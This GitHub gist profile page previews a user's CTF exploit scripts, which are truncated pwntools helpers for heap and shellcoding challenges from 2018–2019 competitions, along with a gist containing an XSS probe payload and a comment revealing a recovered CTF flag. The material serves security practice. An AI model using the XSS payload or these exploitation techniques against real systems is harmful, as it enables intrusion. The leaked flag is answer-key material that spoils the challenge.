Skip to content

Instantly share code, notes, and snippets.

View chmodxxx's full-sized avatar

Salah Baddou chmodxxx

  • London, UK
View GitHub Profile
@chmodxxx
chmodxxx / test
Last active February 23, 2020 23:13
<script>alert(document.domain)</script>
@chmodxxx
chmodxxx / exploit.py
Last active January 28, 2019 08:36
FireShell CTF 2019 Quotes List
from pwn import *
import re
def alloc(size, content):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('Length: ')
p.sendline(str(size))
p.recvuntil('Content: ')
@chmodxxx
chmodxxx / exploit.py
Created December 26, 2018 11:38
HXP CTF 2018 Yunnospace 9 bytes shellcoding
from pwn import *
import time
context.arch = "amd64"
i = 0
# flag = "hxp{y0u_w0uldnt_b3l13v3_h0w_m4ny_3mulat0rs_g0t_th1s_wr0ng}"
flag = ""
while True:
for j in "0123456789_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}":
@chmodxxx
chmodxxx / exploit.py
Last active October 9, 2018 09:09
INCTF 2018 SOP
from pwn import *
import re
def leak(address):
p.sendline('2')
p.recv()
p.sendline('A'*200 + p64(address))
p.recv()
p.sendline('1')
@chmodxxx
chmodxxx / exploit.py
Created October 8, 2018 09:56
INCTF 2018 YAWN
from pwn import *
import re
def addnote(name, desc):
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('name: ')
p.sendline(name)
p.recvuntil('desc: ')
p.sendline(desc)
@chmodxxx
chmodxxx / exploit.py
Created September 17, 2018 20:40
CSAW Quals 2018 (Aliens Invasion)
from pwn import *
import re
def pack(arg):
hexarg = unhex(hex(arg)[2:])
out = ""
for i in range(len(hexarg)-1, -1,-1):
out += hexarg[i]
return out
@chmodxxx
chmodxxx / exploit.py
Last active September 17, 2018 20:41
WhiteHat Grand Prix Quals 2018 (Bookstore)
from pwn import *
import re
def add(title, brsize, brcontent, reftitle, bestselling='N'):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('Title:')
p.sendline(title)
p.recvuntil('size')
p.sendline(str(brsize))
@chmodxxx
chmodxxx / exploit.py
Last active September 17, 2018 20:44
SEC-T CTF 2018 (HOF)
from pwn import *
import re
def update(alias, name, desc, cash):
p.recvuntil('> ')
p.sendline('update %s' % alias)
p.recvuntil('Name: ')
p.sendline(name)
p.recvuntil('Desc: ')